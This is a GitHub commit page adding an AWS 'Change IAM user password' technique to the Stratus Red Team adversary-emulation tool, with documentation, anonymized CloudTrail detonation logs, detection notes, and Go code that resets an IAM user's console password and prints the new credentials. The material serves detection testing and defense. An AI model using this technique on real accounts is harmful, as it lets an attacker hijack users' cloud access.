-
Notifications
You must be signed in to change notification settings - Fork 225
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Browse files
Browse the repository at this point in the history
* New AWS attack technique: Update IAM user login profile (closes #554) * Allow specifying a custom detonation ID * Add better contributing docs * docs generation: sort event names to avoid non-deterministic output * terraform fmt
- Loading branch information
1 parent
080eec0
commit a76bd4a
Showing
18 changed files
with
331 additions
and
21 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
99 changes: 99 additions & 0 deletions
99
...attack-techniques/AWS/aws.privilege-escalation.iam-update-user-login-profile.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,99 @@ | ||
--- | ||
title: Change IAM user password | ||
--- | ||
|
||
# Change IAM user password | ||
|
||
|
||
<span class="smallcaps w3-badge w3-blue w3-round w3-text-white" title="This attack technique can be detonated multiple times">idempotent</span> | ||
|
||
Platform: AWS | ||
|
||
## MITRE ATT&CK Tactics | ||
|
||
|
||
- Privilege Escalation | ||
|
||
## Description | ||
|
||
|
||
Establishes persistence by updating a Login Profile on an existing IAM user to change its password. This allows an attacker to hijack | ||
an IAM user with an existing login profile. | ||
|
||
<span style="font-variant: small-caps;">Warm-up</span>: | ||
|
||
- Create an IAM user with a login profile | ||
|
||
<span style="font-variant: small-caps;">Detonation</span>: | ||
|
||
- Update the user's login profile to change its password | ||
|
||
References: | ||
|
||
- https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me | ||
- https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/ | ||
- https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud | ||
|
||
|
||
## Instructions | ||
|
||
```bash title="Detonate with Stratus Red Team" | ||
stratus detonate aws.privilege-escalation.iam-update-user-login-profile | ||
``` | ||
## Detection | ||
|
||
|
||
Through CloudTrail's <code>UpdateLoginProfile</code> events. | ||
|
||
|
||
|
||
## Detonation logs <span class="smallcaps w3-badge w3-light-green w3-round w3-text-sand">new!</span> | ||
|
||
The following CloudTrail events are generated when this technique is detonated[^1]: | ||
|
||
|
||
- `iam:UpdateLoginProfile` | ||
|
||
|
||
??? "View raw detonation logs" | ||
|
||
```json hl_lines="6" | ||
|
||
[ | ||
{ | ||
"awsRegion": "megov-southcentral-3r", | ||
"eventCategory": "Management", | ||
"eventID": "a46a1a42-9ef1-48d4-9c61-507eb6d4019f", | ||
"eventName": "UpdateLoginProfile", | ||
"eventSource": "iam.amazonaws.com", | ||
"eventTime": "2024-08-28T09:54:40Z", | ||
"eventType": "AwsApiCall", | ||
"eventVersion": "1.09", | ||
"managementEvent": true, | ||
"readOnly": false, | ||
"recipientAccountId": "763751499319", | ||
"requestID": "bd8967e5-b80d-48cd-b8b5-45c9905a4a7f", | ||
"requestParameters": { | ||
"userName": "stratus-red-team-update-login-profile-user" | ||
}, | ||
"responseElements": null, | ||
"sourceIPAddress": "212.3.253.233", | ||
"tlsDetails": { | ||
"cipherSuite": "TLS_AES_128_GCM_SHA256", | ||
"clientProvidedHostHeader": "iam.amazonaws.com", | ||
"tlsVersion": "TLSv1.3" | ||
}, | ||
"userAgent": "stratus-red-team_33d1bcd6-0716-4e7f-a145-8a75625cf180", | ||
"userIdentity": { | ||
"accessKeyId": "AKIAV1MIS7NGMDMR83FC", | ||
"accountId": "763751499319", | ||
"arn": "arn:aws:iam::763751499319:user/christophe", | ||
"principalId": "AIDAXYBG3LDVX65FGD9O", | ||
"type": "IAMUser", | ||
"userName": "christophe" | ||
} | ||
} | ||
] | ||
``` | ||
|
||
[^1]: These logs have been gathered from a real detonation of this technique in a test environment using [Grimoire](https://github.com/DataDog/grimoire), and anonymized using [LogLicker](https://github.com/Permiso-io-tools/LogLicker). |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
35 changes: 35 additions & 0 deletions
35
docs/detonation-logs/aws.privilege-escalation.iam-update-user-login-profile.json
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
[ | ||
{ | ||
"awsRegion": "megov-southcentral-3r", | ||
"eventCategory": "Management", | ||
"eventID": "a46a1a42-9ef1-48d4-9c61-507eb6d4019f", | ||
"eventName": "UpdateLoginProfile", | ||
"eventSource": "iam.amazonaws.com", | ||
"eventTime": "2024-08-28T09:54:40Z", | ||
"eventType": "AwsApiCall", | ||
"eventVersion": "1.09", | ||
"managementEvent": true, | ||
"readOnly": false, | ||
"recipientAccountId": "763751499319", | ||
"requestID": "bd8967e5-b80d-48cd-b8b5-45c9905a4a7f", | ||
"requestParameters": { | ||
"userName": "stratus-red-team-update-login-profile-user" | ||
}, | ||
"responseElements": null, | ||
"sourceIPAddress": "212.3.253.233", | ||
"tlsDetails": { | ||
"cipherSuite": "TLS_AES_128_GCM_SHA256", | ||
"clientProvidedHostHeader": "iam.amazonaws.com", | ||
"tlsVersion": "TLSv1.3" | ||
}, | ||
"userAgent": "stratus-red-team_33d1bcd6-0716-4e7f-a145-8a75625cf180", | ||
"userIdentity": { | ||
"accessKeyId": "AKIAV1MIS7NGMDMR83FC", | ||
"accountId": "763751499319", | ||
"arn": "arn:aws:iam::763751499319:user/christophe", | ||
"principalId": "AIDAXYBG3LDVX65FGD9O", | ||
"type": "IAMUser", | ||
"userName": "christophe" | ||
} | ||
} | ||
] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
72 changes: 72 additions & 0 deletions
72
v2/internal/attacktechniques/aws/privilege-escalation/change-iam-user-password/main.go
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,72 @@ | ||
package aws | ||
|
||
import ( | ||
"context" | ||
_ "embed" | ||
"errors" | ||
"github.com/aws/aws-sdk-go-v2/service/iam" | ||
"github.com/datadog/stratus-red-team/v2/internal/utils" | ||
"github.com/datadog/stratus-red-team/v2/pkg/stratus" | ||
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" | ||
"log" | ||
) | ||
|
||
//go:embed main.tf | ||
var tf []byte | ||
|
||
func init() { | ||
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ | ||
ID: "aws.privilege-escalation.iam-update-user-login-profile", | ||
FriendlyName: "Change IAM user password", | ||
Description: ` | ||
Establishes persistence by updating a Login Profile on an existing IAM user to change its password. This allows an attacker to hijack | ||
an IAM user with an existing login profile. | ||
Warm-up: | ||
- Create an IAM user with a login profile | ||
Detonation: | ||
- Update the user's login profile to change its password | ||
References: | ||
- https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me | ||
- https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/ | ||
- https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud | ||
`, | ||
Detection: ` | ||
Through CloudTrail's <code>UpdateLoginProfile</code> events. | ||
`, | ||
Platform: stratus.AWS, | ||
IsIdempotent: true, | ||
MitreAttackTactics: []mitreattack.Tactic{mitreattack.PrivilegeEscalation}, | ||
PrerequisitesTerraformCode: tf, | ||
Detonate: detonate, | ||
}) | ||
} | ||
|
||
func detonate(params map[string]string, providers stratus.CloudProviders) error { | ||
iamClient := iam.NewFromConfig(providers.AWS().GetConnection()) | ||
userName := params["user_name"] | ||
newPassword := utils.RandomString(16) + ".#1Aa" // extra characters to ensure we meet password requirements, no matter the password policy | ||
|
||
log.Println("Changing console password for IAM user " + userName) | ||
_, err := iamClient.UpdateLoginProfile(context.Background(), &iam.UpdateLoginProfileInput{ | ||
UserName: &userName, | ||
Password: &newPassword, | ||
}) | ||
if err != nil { | ||
return errors.New("unable to update IAM login profile: " + err.Error()) | ||
} | ||
|
||
accountId, _ := utils.GetCurrentAccountId(providers.AWS().GetConnection()) | ||
log.Println("Updated console password for user") | ||
loginUrl := "https://" + accountId + ".signin.aws.amazon.com/console" | ||
log.Println("You can log in at: " + loginUrl) | ||
log.Println("User name: " + userName) | ||
log.Println("Password: " + newPassword) | ||
|
||
return nil | ||
} |
Oops, something went wrong.